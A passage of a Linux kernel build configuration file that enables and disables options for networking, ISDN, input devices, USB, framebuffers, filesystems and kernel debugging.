# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_BSDCOMP=y
CONFIG_SLIP=y
# CONFIG_SLIP_COMPRESSED is not set
CONFIG_SLHC=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_NET_FC=y
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
CONFIG_ISDN=y
CONFIG_ISDN_I4L=y
# CONFIG_ISDN_AUDIO is not set

#
# ISDN feature submodules
#
CONFIG_ISDN_DIVERSION=y

#
# ISDN4Linux hardware drivers
#

#
# Passive cards
#
CONFIG_ISDN_DRV_HISAX=y

#
# D-channel protocol features
#
CONFIG_HISAX_EURO=y
CONFIG_DE_AOC=y
CONFIG_HISAX_NO_SENDCOMPLETE=y
CONFIG_HISAX_NO_LLC=y
CONFIG_HISAX_NO_KEYPAD=y
CONFIG_HISAX_1TR6=y
CONFIG_HISAX_NI1=y
CONFIG_HISAX_MAX_CARDS=8

#
# HiSax supported cards
#
# CONFIG_HISAX_16_3 is not set
CONFIG_HISAX_TELESPCI=y
CONFIG_HISAX_S0BOX=y
CONFIG_HISAX_FRITZPCI=y
# CONFIG_HISAX_AVM_A1_PCMCIA is not set
CONFIG_HISAX_ELSA=y
CONFIG_HISAX_DIEHLDIVA=y
# CONFIG_HISAX_SEDLBAUER is not set
# CONFIG_HISAX_NETJET is not set
CONFIG_HISAX_NETJET_U=y
CONFIG_HISAX_NICCY=y
CONFIG_HISAX_BKM_A4T=y
# CONFIG_HISAX_SCT_QUADRO is not set
CONFIG_HISAX_GAZEL=y
CONFIG_HISAX_HFC_PCI=y
CONFIG_HISAX_W6692=y
CONFIG_HISAX_HFC_SX=y
# CONFIG_HISAX_DEBUG is not set

#
# HiSax PCMCIA card service modules
#
# CONFIG_HISAX_ELSA_CS is not set
# CONFIG_HISAX_AVM_A1_CS is not set

#
# HiSax sub driver modules
#

#
# Active cards
#
CONFIG_ISDN_DRV_GIGASET=y
CONFIG_GIGASET_BASE=y
CONFIG_GIGASET_M105=y
CONFIG_GIGASET_M101=y
CONFIG_GIGASET_DEBUG=y
# CONFIG_GIGASET_UNDOCREQ is not set
# CONFIG_ISDN_CAPI is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_POLLDEV=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=y
CONFIG_INPUT_EVBUG=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_SUNKBD=y
CONFIG_KEYBOARD_LKKBD=y
CONFIG_KEYBOARD_XTKBD=y
CONFIG_KEYBOARD_NEWTON=y
CONFIG_KEYBOARD_STOWAWAY=y
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=y
CONFIG_MOUSE_APPLETOUCH=y
CONFIG_MOUSE_BCM5974=y
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_INPUT_JOYSTICK=y
CONFIG_JOYSTICK_ANALOG=y
CONFIG_JOYSTICK_A3D=y
# CONFIG_JOYSTICK_ADI is not set
CONFIG_JOYSTICK_COBRA=y
CONFIG_JOYSTICK_GF2K=y
CONFIG_JOYSTICK_GRIP=y
# CONFIG_JOYSTICK_GRIP_MP is not set
CONFIG_JOYSTICK_GUILLEMOT=y
CONFIG_JOYSTICK_INTERACT=y
CONFIG_JOYSTICK_SIDEWINDER=y
# CONFIG_JOYSTICK_TMDC is not set
CONFIG_JOYSTICK_IFORCE=y
CONFIG_JOYSTICK_IFORCE_USB=y
CONFIG_JOYSTICK_IFORCE_232=y
# CONFIG_JOYSTICK_WARRIOR is not set
CONFIG_JOYSTICK_MAGELLAN=y
CONFIG_JOYSTICK_SPACEORB=y
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDJOY is not set
CONFIG_JOYSTICK_ZHENHUA=y
CONFIG_JOYSTICK_DB9=y
CONFIG_JOYSTICK_GAMECON=y
CONFIG_JOYSTICK_TURBOGRAFX=y
CONFIG_JOYSTICK_JOYDUMP=y
CONFIG_JOYSTICK_XPAD=y
# CONFIG_JOYSTICK_XPAD_FF is not set
# CONFIG_JOYSTICK_XPAD_LEDS is not set
CONFIG_INPUT_TABLET=y
# CONFIG_TABLET_USB_ACECAD is not set
CONFIG_TABLET_USB_AIPTEK=y
# CONFIG_TABLET_USB_GTCO is not set
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_WACOM=y
CONFIG_INPUT_TOUCHSCREEN=y
# CONFIG_TOUCHSCREEN_ADS7846 is not set
CONFIG_TOUCHSCREEN_FUJITSU=y
CONFIG_TOUCHSCREEN_GUNZE=y
CONFIG_TOUCHSCREEN_ELO=y
CONFIG_TOUCHSCREEN_MTOUCH=y
CONFIG_TOUCHSCREEN_INEXIO=y
CONFIG_TOUCHSCREEN_MK712=y
CONFIG_TOUCHSCREEN_PENMOUNT=y
CONFIG_TOUCHSCREEN_TOUCHRIGHT=y
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
# CONFIG_TOUCHSCREEN_UCB1400 is not set
CONFIG_TOUCHSCREEN_USB_COMPOSITE=y
CONFIG_TOUCHSCREEN_USB_EGALAX=y
CONFIG_TOUCHSCREEN_USB_PANJIT=y
CONFIG_TOUCHSCREEN_USB_3M=y
CONFIG_TOUCHSCREEN_USB_ITM=y
CONFIG_TOUCHSCREEN_USB_ETURBO=y
CONFIG_TOUCHSCREEN_USB_GUNZE=y
CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y
CONFIG_TOUCHSCREEN_USB_IRTOUCH=y
CONFIG_TOUCHSCREEN_USB_IDEALTEK=y
CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH=y
CONFIG_TOUCHSCREEN_USB_GOTOP=y
CONFIG_TOUCHSCREEN_TOUCHIT213=y
CONFIG_INPUT_MISC=y
CONFIG_INPUT_PCSPKR=y
CONFIG_INPUT_APANEL=y
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE=y
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_POWERMATE is not set
CONFIG_INPUT_UINPUT=y

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_I8042=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_CT82C710 is not set
CONFIG_SERIO_PARKBD=y
CONFIG_SERIO_PCIPS2=y
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=y
CONFIG_GAMEPORT=y
CONFIG_GAMEPORT_NS558=y
CONFIG_GAMEPORT_L4=y
CONFIG_GAMEPORT_EMU10K1=y
# CONFIG_GAMEPORT_FM801 is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
# CONFIG_DEVKMEM is not set
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_PNP=y
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=y
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
CONFIG_HW_RANDOM_INTEL=y
# CONFIG_HW_RANDOM_AMD is not set
CONFIG_NVRAM=y
CONFIG_RTC=y
CONFIG_R3964=y
CONFIG_APPLICOM=y

#
# PCMCIA character devices
#
CONFIG_SYNCLINK_CS=y
CONFIG_CARDMAN_4000=y
# CONFIG_CARDMAN_4040 is not set
CONFIG_IPWIRELESS=y
CONFIG_MWAVE=y
CONFIG_PC8736x_GPIO=y
CONFIG_NSC_GPIO=y
CONFIG_RAW_DRIVER=y
CONFIG_MAX_RAW_DEVS=256
CONFIG_HPET=y
CONFIG_HPET_RTC_IRQ=y
CONFIG_HPET_MMAP=y
CONFIG_HANGCHECK_TIMER=y
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
# CONFIG_I2C_CHARDEV is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
CONFIG_I2C_ALI1535=y
# CONFIG_I2C_ALI15X3 is not set
CONFIG_I2C_AMD756=y
CONFIG_I2C_AMD8111=y
CONFIG_I2C_I801=y
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
CONFIG_I2C_SIS5595=y
# CONFIG_I2C_SIS630 is not set
CONFIG_I2C_SIS96X=y
CONFIG_I2C_VIAPRO=y

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_SIMTEC is not set

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_PARPORT=y
CONFIG_I2C_PARPORT_LIGHT=y
# CONFIG_I2C_TINY_USB is not set

#
# Graphics adapter I2C/DDC channel drivers
#
CONFIG_I2C_VOODOO3=y

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_PCA_PLATFORM is not set

#
# Miscellaneous I2C Chip support
#
# CONFIG_PCF8575 is not set
CONFIG_I2C_DEBUG_CORE=y
CONFIG_I2C_DEBUG_ALGO=y
CONFIG_I2C_DEBUG_BUS=y
CONFIG_I2C_DEBUG_CHIP=y
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y

#
# SPI Master Controller Drivers
#
CONFIG_SPI_BITBANG=y
CONFIG_SPI_BUTTERFLY=y

#
# SPI Protocol Masters
#
CONFIG_SPI_AT25=y
CONFIG_SPI_TLE62X0=y
CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y
# CONFIG_GPIOLIB is not set
CONFIG_W1=y
# CONFIG_W1_CON is not set

#
# 1-wire Bus Masters
#
CONFIG_W1_MASTER_MATROX=y
# CONFIG_W1_MASTER_DS2490 is not set

#
# 1-wire Slaves
#
# CONFIG_W1_SLAVE_THERM is not set
CONFIG_W1_SLAVE_SMEM=y
CONFIG_W1_SLAVE_DS2433=y
# CONFIG_W1_SLAVE_DS2433_CRC is not set
# CONFIG_W1_SLAVE_DS2760 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
CONFIG_HWMON_VID=y
CONFIG_SENSORS_ADM1021=y
CONFIG_SENSORS_ADM1025=y
# CONFIG_SENSORS_ADM9240 is not set
CONFIG_SENSORS_DS1621=y
CONFIG_SENSORS_FSCHER=y
CONFIG_SENSORS_FSCPOS=y
# CONFIG_SENSORS_GL518SM is not set
CONFIG_SENSORS_GL520SM=y
CONFIG_SENSORS_IT87=y
CONFIG_SENSORS_LM63=y
CONFIG_SENSORS_LM75=y
CONFIG_SENSORS_LM77=y
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM83 is not set
CONFIG_SENSORS_LM87=y
CONFIG_SENSORS_LM90=y
CONFIG_SENSORS_LM92=y
CONFIG_SENSORS_LM93=y
CONFIG_SENSORS_MAX1619=y
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_SIS5595=y
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_ADS7828 is not set
CONFIG_SENSORS_VIA686A=y
CONFIG_SENSORS_VT8231=y
# CONFIG_SENSORS_W83781D is not set
CONFIG_SENSORS_W83627HF=y
CONFIG_SENSORS_W83627EHF=y
CONFIG_SENSORS_HDAPS=y
# CONFIG_SENSORS_APPLESMC is not set
CONFIG_HWMON_DEBUG_CHIP=y
CONFIG_THERMAL=y
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=y
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
CONFIG_SSB_B43_PCI_BRIDGE=y
CONFIG_SSB_DEBUG=y
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
CONFIG_MFD_SM501=y
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
CONFIG_DAB=y
# CONFIG_USB_DABUSB is not set

#
# Graphics support
#
CONFIG_AGP=y
CONFIG_AGP_AMD64=y
CONFIG_AGP_INTEL=y
CONFIG_AGP_SIS=y
CONFIG_AGP_VIA=y
CONFIG_DRM=y
CONFIG_DRM_TDFX=y
CONFIG_DRM_R128=y
# CONFIG_DRM_RADEON is not set
CONFIG_DRM_I810=y
# CONFIG_DRM_I830 is not set
# CONFIG_DRM_I915 is not set
# CONFIG_DRM_MGA is not set
CONFIG_DRM_SIS=y
# CONFIG_DRM_VIA is not set
# CONFIG_DRM_SAVAGE is not set
CONFIG_VGASTATE=y
CONFIG_VIDEO_OUTPUT_CONTROL=y
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
CONFIG_FB_DDC=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
CONFIG_FB_SYS_FILLRECT=y
CONFIG_FB_SYS_COPYAREA=y
CONFIG_FB_SYS_IMAGEBLIT=y
CONFIG_FB_FOREIGN_ENDIAN=y
CONFIG_FB_BOTH_ENDIAN=y
# CONFIG_FB_BIG_ENDIAN is not set
# CONFIG_FB_LITTLE_ENDIAN is not set
CONFIG_FB_SYS_FOPS=y
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_HECUBA=y
CONFIG_FB_SVGALIB=y
# CONFIG_FB_MACMODES is not set
CONFIG_FB_BACKLIGHT=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
CONFIG_FB_CIRRUS=y
CONFIG_FB_PM2=y
# CONFIG_FB_PM2_FIFO_DISCONNECT is not set
CONFIG_FB_CYBER2000=y
# CONFIG_FB_ARC is not set
CONFIG_FB_ASILIANT=y
CONFIG_FB_IMSTT=y
CONFIG_FB_VGA16=y
CONFIG_FB_UVESA=y
# CONFIG_FB_VESA is not set
CONFIG_FB_EFI=y
# CONFIG_FB_IMAC is not set
CONFIG_FB_N411=y
# CONFIG_FB_HGA is not set
CONFIG_FB_S1D13XXX=y
CONFIG_FB_NVIDIA=y
# CONFIG_FB_NVIDIA_I2C is not set
CONFIG_FB_NVIDIA_DEBUG=y
# CONFIG_FB_NVIDIA_BACKLIGHT is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_LE80578 is not set
CONFIG_FB_MATROX=y
CONFIG_FB_MATROX_MILLENIUM=y
CONFIG_FB_MATROX_MYSTIQUE=y
# CONFIG_FB_MATROX_G is not set
CONFIG_FB_MATROX_I2C=y
# CONFIG_FB_MATROX_MULTIHEAD is not set
CONFIG_FB_RADEON=y
CONFIG_FB_RADEON_I2C=y
CONFIG_FB_RADEON_BACKLIGHT=y
# CONFIG_FB_RADEON_DEBUG is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
CONFIG_FB_SIS=y
CONFIG_FB_SIS_300=y
# CONFIG_FB_SIS_315 is not set
# CONFIG_FB_NEOMAGIC is not set
CONFIG_FB_KYRO=y
CONFIG_FB_3DFX=y
CONFIG_FB_VOODOO1=y
CONFIG_FB_VT8623=y
CONFIG_FB_TRIDENT=y
CONFIG_FB_ARK=y
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SM501 is not set
CONFIG_FB_VIRTUAL=y
CONFIG_BACKLIGHT_LCD_SUPPORT=y
CONFIG_LCD_CLASS_DEVICE=y
CONFIG_LCD_LTV350QV=y
CONFIG_LCD_ILI9320=y
CONFIG_LCD_VGG2432A4=y
CONFIG_LCD_PLATFORM=y
CONFIG_BACKLIGHT_CLASS_DEVICE=y
CONFIG_BACKLIGHT_CORGI=y
# CONFIG_BACKLIGHT_PROGEAR is not set
# CONFIG_BACKLIGHT_MBP_NVIDIA is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_VGACON_SOFT_SCROLLBACK=y
CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
CONFIG_FONTS=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_7x14=y
CONFIG_FONT_PEARL_8x8=y
CONFIG_FONT_ACORN_8x8=y
CONFIG_FONT_MINI_4x6=y
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
CONFIG_FONT_10x18=y
# CONFIG_LOGO is not set
# CONFIG_SOUND is not set
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HID_DEBUG=y
CONFIG_HIDRAW=y

#
# USB Input Devices
#
CONFIG_USB_HID=y
CONFIG_USB_HIDINPUT_POWERBOOK=y
CONFIG_USB_HIDDEV=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
CONFIG_USB_DEVICE_CLASS=y
CONFIG_USB_DYNAMIC_MINORS=y
# CONFIG_USB_SUSPEND is not set
# CONFIG_USB_MON is not set

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=y
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
# CONFIG_USB_ISP116X_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_U132_HCD is not set
CONFIG_USB_SL811_HCD=y
CONFIG_USB_SL811_CS=y
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=y
# CONFIG_USB_PRINTER is not set
CONFIG_USB_WDM=y

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=y
CONFIG_USB_STORAGE_DEBUG=y
# CONFIG_USB_STORAGE_DATAFAB is not set
CONFIG_USB_STORAGE_FREECOM=y
# CONFIG_USB_STORAGE_ISD200 is not set
CONFIG_USB_STORAGE_DPCM=y
# CONFIG_USB_STORAGE_USBAT is not set
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
CONFIG_USB_STORAGE_ALAUDA=y
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
CONFIG_USB_STORAGE_SIERRA=y
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
CONFIG_USB_LIBUSUAL=y

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
CONFIG_USB_MICROTEK=y

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
CONFIG_USB_EMI26=y
# CONFIG_USB_ADUTUX is not set
CONFIG_USB_RIO500=y
CONFIG_USB_LEGOTOWER=y
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
CONFIG_USB_LED=y
CONFIG_USB_CYPRESS_CY7C63=y
CONFIG_USB_CYTHERM=y
CONFIG_USB_PHIDGET=y
CONFIG_USB_PHIDGETKIT=y
CONFIG_USB_PHIDGETMOTORCONTROL=y
CONFIG_USB_PHIDGETSERVO=y
CONFIG_USB_IDMOUSE=y
CONFIG_USB_FTDI_ELAN=y
CONFIG_USB_APPLEDISPLAY=y
CONFIG_USB_SISUSBVGA=y
CONFIG_USB_SISUSBVGA_CON=y
# CONFIG_USB_LD is not set
CONFIG_USB_TRANCEVIBRATOR=y
CONFIG_USB_IOWARRIOR=y
CONFIG_USB_ISIGHTFW=y
CONFIG_MMC=y
# CONFIG_MMC_DEBUG is not set
CONFIG_MMC_UNSAFE_RESUME=y

#
# MMC/SD Card Drivers
#
CONFIG_MMC_BLOCK=y
CONFIG_MMC_BLOCK_BOUNCE=y
CONFIG_SDIO_UART=y
CONFIG_MMC_TEST=y

#
# MMC/SD Host Controller Drivers
#
# CONFIG_MMC_SDHCI is not set
CONFIG_MMC_WBSD=y
CONFIG_MMC_SPI=y
CONFIG_MEMSTICK=y
CONFIG_MEMSTICK_DEBUG=y

#
# MemoryStick drivers
#
CONFIG_MEMSTICK_UNSAFE_RESUME=y
CONFIG_MSPRO_BLOCK=y

#
# MemoryStick Host Controller Drivers
#
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y

#
# LED drivers
#
CONFIG_LEDS_PCA955X=y

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=y
CONFIG_LEDS_TRIGGER_IDE_DISK=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
# CONFIG_RTC_CLASS is not set
CONFIG_DMADEVICES=y

#
# DMA Devices
#
CONFIG_INTEL_IOATDMA=y
CONFIG_DMA_ENGINE=y

#
# DMA Clients
#
CONFIG_NET_DMA=y
CONFIG_DMATEST=y
CONFIG_DCA=y
CONFIG_AUXDISPLAY=y
# CONFIG_KS0108 is not set
# CONFIG_UIO is not set

#
# Firmware Drivers
#
CONFIG_EDD=y
# CONFIG_EDD_OFF is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_EFI_VARS=y
CONFIG_DELL_RBU=y
# CONFIG_DCDBAS is not set
CONFIG_DMIID=y
# CONFIG_ISCSI_IBFT_FIND is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
CONFIG_JBD=y
CONFIG_JBD_DEBUG=y
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_XFS_FS=y
CONFIG_XFS_QUOTA=y
# CONFIG_XFS_POSIX_ACL is not set
CONFIG_XFS_RT=y
# CONFIG_OCFS2_FS is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
# CONFIG_INOTIFY_USER is not set
# CONFIG_QUOTA is not set
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
# CONFIG_AUTOFS4_FS is not set
CONFIG_FUSE_FS=y
CONFIG_GENERIC_ACL=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_VMCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLBFS is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=y

#
# Miscellaneous filesystems
#
CONFIG_HFSPLUS_FS=y
# CONFIG_CRAMFS is not set
CONFIG_VXFS_FS=y
CONFIG_MINIX_FS=y
CONFIG_OMFS_FS=y
# CONFIG_HPFS_FS is not set
CONFIG_QNX4FS_FS=y
CONFIG_ROMFS_FS=y
CONFIG_SYSV_FS=y
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NCP_FS=y
CONFIG_NCPFS_PACKET_SIGNING=y
# CONFIG_NCPFS_IOCTL_LOCKING is not set
CONFIG_NCPFS_STRONG=y
CONFIG_NCPFS_NFS_NS=y
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
CONFIG_NCPFS_NLS=y
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
# CONFIG_OSF_PARTITION is not set
CONFIG_AMIGA_PARTITION=y
# CONFIG_ATARI_PARTITION is not set
# CONFIG_MAC_PARTITION is not set
# CONFIG_MSDOS_PARTITION is not set
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
# CONFIG_KARMA_PARTITION is not set
CONFIG_EFI_PARTITION=y
# CONFIG_SYSV68_PARTITION is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
CONFIG_NLS_CODEPAGE_737=y
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=y
# CONFIG_NLS_CODEPAGE_855 is not set
CONFIG_NLS_CODEPAGE_857=y
CONFIG_NLS_CODEPAGE_860=y
CONFIG_NLS_CODEPAGE_861=y
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
CONFIG_NLS_CODEPAGE_865=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869=y
CONFIG_NLS_CODEPAGE_936=y
CONFIG_NLS_CODEPAGE_950=y
CONFIG_NLS_CODEPAGE_932=y
CONFIG_NLS_CODEPAGE_949=y
CONFIG_NLS_CODEPAGE_874=y
# CONFIG_NLS_ISO8859_8 is not set
CONFIG_NLS_CODEPAGE_1250=y
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=y
# CONFIG_NLS_ISO8859_1 is not set
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
# CONFIG_NLS_ISO8859_5 is not set
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
CONFIG_NLS_ISO8859_14=y
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
CONFIG_NLS_KOI8_U=y
CONFIG_NLS_UTF8=y

#
# Kernel hacking
#
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_PRINTK_TIME=y
CONFIG_ENABLE_WARN_DEPRECATED=y
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
# CONFIG_UNUSED_SYMBOLS is not set
CONFIG_DEBUG_FS=y
CONFIG_HEADERS_CHECK=y
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_SHIRQ=y
